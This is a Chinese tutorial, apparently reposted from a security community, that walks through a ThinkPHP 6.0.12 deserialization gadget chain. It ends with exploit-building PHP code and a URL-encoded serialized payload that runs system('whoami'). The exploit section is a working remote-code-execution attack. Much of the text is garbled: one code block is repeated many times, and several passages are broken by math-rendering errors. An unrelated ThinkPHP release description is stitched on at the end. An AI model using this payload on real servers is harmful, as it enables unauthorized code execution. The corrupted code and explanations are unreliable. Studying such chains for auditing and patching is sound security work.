ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)

声明

出品|先知社区(ID:Will1am)

以下内容,来自先知社区的Will1am作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

这里是看了w0s1np师傅的目录结构,嘻嘻…

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

分析

众所周知,wakeup()和destruct()这两种魔术方法在反序列化中是十分重要的存在,在面对这么大量的代码时,我们可以以这两种函数为切入点,来找出反序列化漏洞。

__wakeup() //执行unserialize()时,先会调用这个函数
__destruct() //对象被销毁时调用

找到切入点之后,用seay全局查询一下那里用到了这两种魔术方法

图片

然后就是审计代码找可以利用的点了

<?phpnamespace League\Flysystem;final class SafeStorage{
    /**     * @var string     */
    private $hash;
    /**     * @var array     */
    protected static $safeStorage = [];
    public function __construct()
{
        $this->hash = spl_object_hash($this);
        static::$safeStorage[$this->hash] = [];
    }
    public function storeSafely($key, $value)
{
        static::$safeStorage[$this->hash][$key] = $value;
    }
    public function retrieveSafely($key)
{
        if (array_key_exists($key, static::$safeStorage[$this->hash])) {
            return static::$safeStorage[$this->hash][$key];
        }
    }
    public function __destruct()
{
        unset(static::$safeStorage[$this->hash]);
    }}

第一个存在这个方法的是一个安全储存的部分,用于登录啥的,不存在我们要寻找的东西。

再看下一段

/**     * Disconnect on destruction.     */    public function __destruct()    {        $this->disconnect();    }

这一块也没啥用,这里的销毁是用于连接断开时销毁,这一块代码主要是关于适配器的,是将某个类的接口转换成客户端期望的另一个接口表示,主要的目的是兼容性 ,让原本因接口不匹配不能一起工作的两个类可以协同工作。

再看下一段

<?phpnamespace League\Flysystem\Cached\Storage;use League\Flysystem\Cached\CacheInterface;use League\Flysystem\Util;abstract class AbstractCache implements CacheInterface{
    /**     * @var bool     */
    protected $autosave = true;
    /**     * @var array     */
    protected $cache = [];
    /**     * @var array     */
    protected $complete = [];
    /**     * Destructor.     */
    public function __destruct()
{
        if (! $this->autosave) {
            $this->save();
        }
    }

根据文件名判断应该也是个差不多的玩意,但是只要$this->autosave为false那么就可以调用save方法

/**     * {@inheritdoc}     */    public function autosave()    {        if ($this->autosave) {            $this->save();        }    }

没啥用继续往下看。

但是继续跟进save方法就没有相关方法了,先放在一边,我们再看下一块。

在vendor\topthink\think-orm\src\Model.php中找到了比较有嫌疑的

/**     * 析构方法     * @access public     */    public function __destruct()    {        if ($this->lazySave) {            $this->save();        }    }}

这里只要让this->lazySave为true就可以成功运行,调用save方法。跟进一下看看save方法是个啥

public function save(array $data = [], string $sequence = null): bool    
{       
  // 数据对象赋值       
   $this->setAttrs($data);       
    if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {           
     return false;       
      }       
       $result = $this->exists ? $this->updateData() : $this->insertData($sequence);        
       if (false === $result) {           
        return false;      
  }

其中这一句比较关键

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {            return false;        }

这里只要this->isEmpty()或false === $this->trigger(‘BeforeWrite’)就会返回false里面一个条件为真才能不直接return,也即需要两个条件:

$this->isEmpty()==false
$this->trigger('BeforeWrite')==true

第一个条件需要继续跟进isEmpty(),我们先放一下,第二个条件是当this触发BeforeWrite的结果是true,再看trigger(‘BeforeWrite’),位于ModelEvent类中:

protected function trigger(string $event): bool
{   
         if (!$this->withEvent) {          
           return true;     
              }    
                  .....   
    }

让$this->withEvent==false即可满足第二个条件,

我们跟进isEmpty()。

/**     * 判断模型是否为空    
 * @access public     
 * @return bool     
 */    
 public function isEmpty(): bool    
{     
    return empty($this->data);   
  }

可以看到他的作用是判断模型是否为空的,所以只要$this->data不为空就ok

让$this->data!=null即可满足这个条件。

再看这一句

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

这里的意思是如果this->exists结果为true,那么就采用this->updateData(),

如果不是就采用this->insertData($sequence)

/**     * 设置数据是否存在  
   * @access public     
   * @param bool $exists     
   * @return $this     
   */    
   public function exists(bool $exists = true)   
{       
    $this->exists = $exists;        
    return $this;    
    }

这里可以看到结果是为true的,所以我们跟进updateData()

/**     * 保存写入数据     * @access protected     * @return bool     */    protected function updateData(): bool    {        // 事件回调        if (false === $this->trigger('BeforeUpdate')) {            return false;        }        $this->checkData();        // 获取有更新的数据        $data = $this->getChangedData();        if (empty($data)) {            // 关联更新            if (!empty($this->relationWrite)) {                $this->autoRelationUpdate();            }            return true;        }        if ($this->autoWriteTimestamp && $this->updateTime) {            // 自动写入更新时间            $data[$this->updateTime]       = $this->autoWriteTimestamp();            $this->data[$this->updateTime] = $data[$this->updateTime];        }        // 检查允许字段        $allowFields = $this->checkAllowFields();

这里的话想要执行checkAllowFields()方法需要绕过前面的两个if判断,必须满足两个条件

$this->trigger('BeforeUpdate')==true
$data!=null

第一个条件上面已经满足了,只要关注让data不等于null就可以了

找找data的来源,跟进getChangedData()方法,在

/vendor/topthink/think-orm/src/model/concern/Attribute.php中

/**     * 获取变化的数据 并排除只读数据     * @access public     * @return array     */    public function getChangedData(): array    {        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {            if ((empty($a) || empty($b)) && $a !== $b) {                return 1;            }            return is_object($a) || $a != $b ? 1 : 0;        });        // 只读字段不允许更新        foreach ($this->readonly as $key => $field) {            if (array_key_exists($field, $data)) {                unset($data[$field]);            }        }        return $data;    }
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)

这一句如果this->force结果为true,那么便执行this->data,如果不是那么就会执行

array_udiff_assoc($this->data, $this->origin, function ($a, $b)

但因为force没定义默认为null,所以进入了第二种情况,由于$this->data, t h i s − > o r i g i n 默认也不为 n u l l ,所以不符合第一个 i f 判断,最终 this->origin默认也不为null,所以不符合第一个if判断,最终 this>origin默认也不为null,所以不符合第一个if判断,最终data=0,也即满足前面所提的第二个条件,$data!=null。

然后回到checkAllowFields()方法,查看一下他是如何调用的。

/**     * 检查数据是否允许写入    
 * @access protected     
 * @return array     
 */    protected function checkAllowFields(): array    {        // 检测字段        if (empty($this->field)) {            if (!empty($this->schema)) {                
 $this->field = array_keys(array_merge($this->schema, 
 $this->jsonType));           
  } else {                
  $query = $this->db();                
  $table = $this->table ? $this->table . $this->suffix : $query->getTable();               
   $this->field = $query->getConnection()->getTableFields($table);            }            
   return $this->field;        }       
    $field = $this->field;        
    if ($this->autoWriteTimestamp) {            
    array_push($field, $this->createTime, $this->updateTime);        
    }        
    if (!empty($this->disuse)) {            // 废弃字段            $field = array_diff($field, $this->disuse);        }        
    return $field;    
    }

这里在第10-15行代码中可以看到,如果想进入宗福拼接操作,就需要进入else中,所以我们要使 t h i s − > f i e l d = a r r a y _ k e y s ( a r r a y _ m e r g e ( this->field = array\_keys(array\_merge( this>field=array_keys(array_merge(this->schema, t h i s − > j s o n T y p e ) ) ; 不成立,那么就需要让 this->jsonType));不成立,那么就需要让 this>jsonType));不成立,那么就需要让this->field=null,$this->schema=null。

在第14行中出现了$this->table . t h i s − > s u f f i x 这一字符串拼接,存在可控属性的字符拼接,可以触发 _ _ t o S t r i n g 魔术方法,把 this->suffix这一字符串拼接,存在可控属性的字符拼接,可以触发\_\_toString魔术方法,把 this>suffix这一字符串拼接,存在可控属性的字符拼接,可以触发__toString魔术方法,把this->table设为触发__toString类即可。所以可以找一个有__tostring方法的类做跳板,寻找__tostring,在

/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到了

/**     * 转换当前模型对象为JSON字符串     
* @access public     
* @param  integer $options json参数     
* @return string     
*/    
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string    {        return json_encode($this->toArray(), $options);    }    
public function __toString()    
{        
return $this->toJson();    
}

看来使需要使用toJson(),跟进一下,没找到相关,再看一眼代码,发现第九行中调用了toArray()方法,然后以json格式返回,那我们再看看toArray()方法

public function toArray(): array    {        $item       = [];        $hasVisible = false;        foreach ($this->visible as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]          = explode('.', $val);                    $this->visible[$relation][] = $name;                } else {                    $this->visible[$val] = true;                    $hasVisible          = true;                }                unset($this->visible[$key]);            }        }      
foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }         
foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                } 
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据        $data = array_merge($this->data, $this->relation);        foreach ($data as $key => $val) {            if ($val instanceof Model || $val instanceof ModelCollection) {                // 关联模型对象  
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
   foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据 
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据 
   foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据 
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据 
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
 foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据 
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
   foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据
  foreach ($this->hidden as $key => $val) {            if (is_string($val)) {                if (strpos($val, '.')) {                    [$relation, $name]         = explode('.', $val);                    $this->hidden[$relation][] = $name;                } else {                    $this->hidden[$val] = true;                }                unset($this->hidden[$key]);            }        }        // 合并关联数据        $data = array_merge($this->data, $this->relation);        foreach ($data as $key => $val) {            if ($val instanceof Model || $val instanceof ModelCollection) {                // 关联模型对象                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {                    $val->visible($this->visible[$key]);                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {                    $val->hidden($this->hidden[$key]);                }                // 关联模型对象                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {                    $item[$key] = $val->toArray();                }            } elseif (isset($this->visible[$key])) {                $item[$key] = $this->getAttr($key);            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {                $item[$key] = $this->getAttr($key);         

根据第34行和第44行,第34行是遍历给定的数组语句data数组。每次循环中,当前单元的之被赋给val并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元),同时当前单元的键名也会在每次循环中被赋给变量key。第44行是将val和key相关联起来,漏洞方法是getAtrr触发,只需把$data设为数组就行。

在第47和49行中存在getAttr方法,那触发条件是啥呢?

KaTeX parse error: Undefined control sequence: \[ at position 14: this->visible\̲[̲key]需要存在,而 k e y 来自 key来自 key来自data的键名, d a t a 又来自 data又来自 data又来自this->data,即 t h i s − > d a t a 必须有一个键名传给 this->data必须有一个键名传给 this>data必须有一个键名传给this->visible,然后把键名$key传给getAttr方法,那岂不是默认就能触发…?

跟进getAttr方法

vendor/topthink/think-orm/src/model/concern/Attribute.php

/**     
 * 获取器 获取数据对象的值    
 * @access public     
 * @param  string $name 名称     
 * @return mixed     
 * @throws InvalidArgumentException     
 */    
 public function getAttr(string $name)    {        
 try {            
 $relation = false;            
 $value    = $this->getData($name);        
 } catch (InvalidArgumentException $e) {            
 $relation = $this->isRelationAttr($name);            
 $value    = null;       
  }        
  return $this->getValue($name, $value, $relation);    
  }

在第18行中可以看到漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

那就进一步跟进getData方法

/**     
* 获取当前对象数据 如果不存在指定字段返回false     
* @access public     
* @param  string $name 字段名 留空获取全部     
* @return mixed     
* @throws InvalidArgumentException     
*/    public function getData(string $name = null)    {        
if (is_null($name)) {            return $this->data;        }        $fieldName = $this->getRealFieldName($name);        
if (array_key_exists($fieldName, $this->data)) {           
 return $this->data[$fieldName];        } 
 elseif (array_key_exists($fieldName, $this->relation)) {           
  return $this->relation[$fieldName];        }        
  throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);    
  }

可以看到 t h i s − > d a t a 是可控的(第 16 行),而其中的 this->data是可控的(第16行),而其中的 this>data是可控的(第16行),而其中的fieldName来自getRealFieldName方法。

跟进getRealFieldName方法

/**     
* 获取实际的字段名     
* @access protected     
* @param  string $name 字段名     
* @return string     
*/    
protected function getRealFieldName(string $name): string    {        
f ($this->convertNameToCamel || !$this->strict) {            
return Str::snake($name);       
 }       
 return $name;   
  }

t h i s − > s t r i c t 为 t r u e 时直接返回 this->strict为true时直接返回 this>stricttrue时直接返回name,即键名$key

返回getData方法,此时 f i e l d N a m e = fieldName= fieldName=key,进入if语句,返回KaTeX parse error: Undefined control sequence: \[ at position 11: this->data\̲[̲key],再回到getAttr方法,

return $this->getValue($name, $value, $relation);

即返回

return $this->getValue($name, $this->data[$key], $relation);

跟进getValue方法

/**     * 获取经过获取器处理后的数据对象的值     * @access protected     * @param  string      $name 字段名称     * @param  mixed       $value 字段值     * @param  bool|string $relation 是否为关联属性或者关联名     * @return mixed     * @throws InvalidArgumentException     */    protected function getValue(string $name, $value, $relation = false)    {        // 检测属性获取器        $fieldName = $this->getRealFieldName($name);        if (array_key_exists($fieldName, $this->get)) {            return $this->get[$fieldName];        }        $method = 'get' . Str::studly($name) . 'Attr';        if (isset($this->withAttr[$fieldName])) {            if ($relation) {                $value = $this->getRelationValue($relation);            }            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {                $value = $this->getJsonValue($fieldName, $value);            } else {                $closure = $this->withAttr[$fieldName];                if ($closure instanceof \Closure) {                    $value = $closure($value, $this->data);                }            }        } elseif (method_exists($this, $method)) {            if ($relation) {                $value = $this->getRelationValue($relation);            }

第30行中,如果我们让 c l o s u r e 为我们想执行的函数名, closure为我们想执行的函数名, closure为我们想执行的函数名,value和$this->data为参数即可实现任意函数执行。

所以需要查看$closure属性是否可控,跟进getRealFieldName方法,

protected function getRealFieldName(string $name): string   
 { 
       if ($this->convertNameToCamel || !$this->strict) {       
            return Str::snake($name);        
}

如果让 t h i s − > s t r i c t = = t r u e ,即可让 this->strict==true,即可让 this>strict==true,即可让 f i e l d N a m e 等于传入的参数 fieldName等于传入的参数 fieldName等于传入的参数name,即开始的KaTeX parse error: Undefined control sequence: \[ at position 11: this->data\̲[̲key]的键值$key,可控

又因为 t h i s − > w i t h A t t r 数组可控,所以, this->withAttr数组可控,所以, this>withAttr数组可控,所以,closure可控,值为

KaTeX parse error: Undefined control sequence: \[ at position 15: this->withAttr\̲[̲key],参数就是 t h i s − > d a t a ,即 this->data,即 this>data,即data的键值,所以我们需要控制的参数:

$this->data不为空$this->lazySave == true$this->withEvent == false$this->exists == true$this->force == true

EXP编写

捋一下

链子太长了,重新捋一下参数的传递过程,要不就懵了,倒着捋慢慢往前分析

先看__toString()的触发

Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //出现 $this->data 参数
Attribute::getAttr()Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
Attribute::getJsonValue() // 造成RCE漏洞

首先出现参数可控的点在Conversion::toArray()中(第二行),在这里如果控制KaTeX parse error: Undefined control sequence: \[ at position 12: this->data=\̲[̲'whoami'=>\['wh…key也就是whoami(19行)

// 合并关联数据        $data = array_merge($this->data, $this->relation);        foreach ($data as $key => $val) {            if ($val instanceof Model || $val instanceof ModelCollection) {                // 关联模型对象                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {                    $val->visible($this->visible[$key]);                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {                    $val->hidden($this->hidden[$key]);                }                // 关联模型对象                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {                    $item[$key] = $val->toArray();                }            } elseif (isset($this->visible[$key])) {                $item[$key] = $this->getAttr($key);            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {                $item[$key] = $this->getAttr($key);

然后在Attribute::getAttr()函数中,通过getData()函数从$this->data中拿到了数组中的value后返回

public function getAttr(string $name)   
{       
 try {          
  $relation = false;            
  $value    = $this->getData($name);      
    }
    catch (InvalidArgumentException $e) {         
       $relation = $this->isRelationAttr($name);       
            $value    = null;     
               }      
      return $this->getValue($name, $value, $relation);   
       }

getData()返回的是数组中相应的value,所以第5行的 t h i s − > g e t D a t a ( this->getData( this>getData(name)也

就是 t h i s − > g e t D a t a ( this->getData( this>getData(value=[‘whoami’]),在Attribute::getValue()函数中对withAttr和json参数进行了验证

$method = 'get' . Str::studly($name) . 'Attr';        if (isset($this->withAttr[$fieldName])) {            if ($relation) {                $value = $this->getRelationValue($relation);            }            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {                $value = $this->getJsonValue($fieldName, $value);            } else {

第2行的if语句中需要KaTeX parse error: Undefined control sequence: \[ at position 15: this->withAttr\̲[̲fieldName]存在的同时需要是一个数组,$this->withAttr[‘whoami’=>[‘system’]]

第7行if语句中中是判断 f i e l d N a m e 是否在 fieldName是否在 fieldName是否在this->json中,即

in_array($fieldName, t h i s − > j s o n ) ,所以只需要 this->json),所以只需要 this>json),所以只需要this->json=[‘whoami’]

接下来分析一下__destruct()的触发过程

Model::__destruct()
Model::save()Model::updateData()Model::checkAllowFields()Model::db() // 触发 __toString()

首先在Model::__destruct()中$this->lazySave需要为true,参数可控

public function __destruct()    {       
 if ($this->lazySave) {         
   $this->save();    
    }   
   }
 }

$this->lazySave=true

然后在Model::save() 需要绕过isEmpty()和$this->exists参数

// 数据对象赋值        
$this->setAttrs($data);        
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {  
          return false;       
      }        
   $result = $this->exists ? $this->updateData() : $this->insertData($sequence);        
   if (false === $result) 
   {           
    return false;     
   }

第4行的 t h i s − > t r i g g e r ( ′ B e f o r e W r i t e ′ ) 是默认为 t r u e 的,所以只要 this->trigger('BeforeWrite')是默认为true的,所以只要 this>trigger(BeforeWrite)是默认为true的,所以只要this->data

不为空即可

第8行中如果this->exists结果为true,那么就采用this->updateData(),如果不

是就采用this->insertData($sequence)所以我们需要让this->exists结果为true

那么最后就是Model::db()方法,保证$this->table能触发__toString()(第八行)

public function db($scope = []): Query    {        /** @var Query $query */        $query = self::$db->connect($this->connection)            ->name($this->name . $this->suffix)            ->pk($this->pk);        if (!empty($this->table)) {            $query->table($this->table . $this->suffix);        }

编写

首先Model类是一个抽象类,不能实例化,所以要想利用,得找出Model类的一个子类进行实例化,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,所以关键字可以直接用

将上面捋出来的需要的属性全部重新编写

// 保证命名空间的一致namespace think {    // Model需要是抽象类    abstract class Model {        // 需要用到的关键字        private $lazySave = false;        private $data = [];        private $exists = false;        protected $table;        private $withAttr = [];        protected $json = [];        protected $jsonAssoc = false;        // 初始化        public function __construct($obj='') {            $this->lazySave = true;            $this->data = ['whoami'=>['whoami']];            $this->exists = true;            $this->table = $obj;    // 触发__toString            $this->withAttr = ['whoami'=>['system']];            $this->json = ['whoami'];            $this->jsonAssoc = true;        }    }}

全局搜索extends Model,找到一个Pivot类继承了Model

// 保证命名空间的一致namespace think {    // Model需要是抽象类    abstract class Model {        // 需要用到的关键字        private $lazySave = false;        private $data = [];        private $exists = false;        protected $table;        private $withAttr = [];        protected $json = [];        protected $jsonAssoc = false;        // 初始化        public function __construct($obj='') {            $this->lazySave = true;            $this->data = ['whoami'=>['whoami']];            $this->exists = true;            $this->table = $obj;    // 触发__toString            $this->withAttr = ['whoami'=>['system']];            $this->json = ['whoami'];            $this->jsonAssoc = true;        }    }}namespace think\model {    use think\Model;    class Pivot extends Model {    }    // 实例化    $p = new Pivot(new Pivot());
echo urlencode(serialize($p));}O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
V6.0.7版本发布,本版本主要针对上个版本做了一些路由修正,还意外收获了一些性能提升,是一个建议更新的版本。主要更新 修正Validate类的PHP8兼容性 改进redis驱动的append方法 修正路由匹配检测问题 优化路由变量正则规则生成 改进responseView的内容渲染 安装和更新 V6版本开始仅支持Composer安装及更新,支持上个版本的无缝更新,直接使用composer update 更新到最新版本即可。如果需要全新安装,使用:composer create-project topthink/think tpThinkPHP 是一个免费开源的,快速、简单的面向对象的 轻量PHP开发框架 ,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多的原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,已经成长为国内最领先和最具影响力的WEB应用开发框架,众多的典型案例确保可以稳定用于商业以及门户开发。全面的WEB开发特性支持最新的ThinkPHP为WEB应用开发提供了强有力的支持,这些支持包括:MVC支持-基于多层模型(M)、视图(V)、控制器(C)的设计模式ORM支持-提供了全功能和高性能的ORM支持,支持大部分数据库模板引擎支持-内置了高性能的基于标签库和XML标签的编译型模板引擎RESTFul支持-通过REST控制器扩展提供了RESTFul支持,为你打造全新的URL设计和访问体验云平台支持-提供了对新浪SAE平台和百度BAE平台的强力支持,具备“横跨性”和“平滑性”,支持本地化开发和调试以及部署切换,让你轻松过渡,打造全新的开发体验。CLI支持-支持基于命令行的应用开发RPC支持-提供包括PHPRpc、HProse、jsonRPC和Yar在内远程调用解决方案MongoDb支持-提供NoSQL的支持缓存支持-提供了包括文件、数据库、Memcache、Xcache、Redis等多种类型的缓存支持安全性框架在系统层面提供了众多的安全特性,确保你的网站和产品安全无忧。这些特性包括:XSS安全防护表单自动验证强制数据类型转换输入数据过滤表单令牌验证防SQL注入图像上传检测
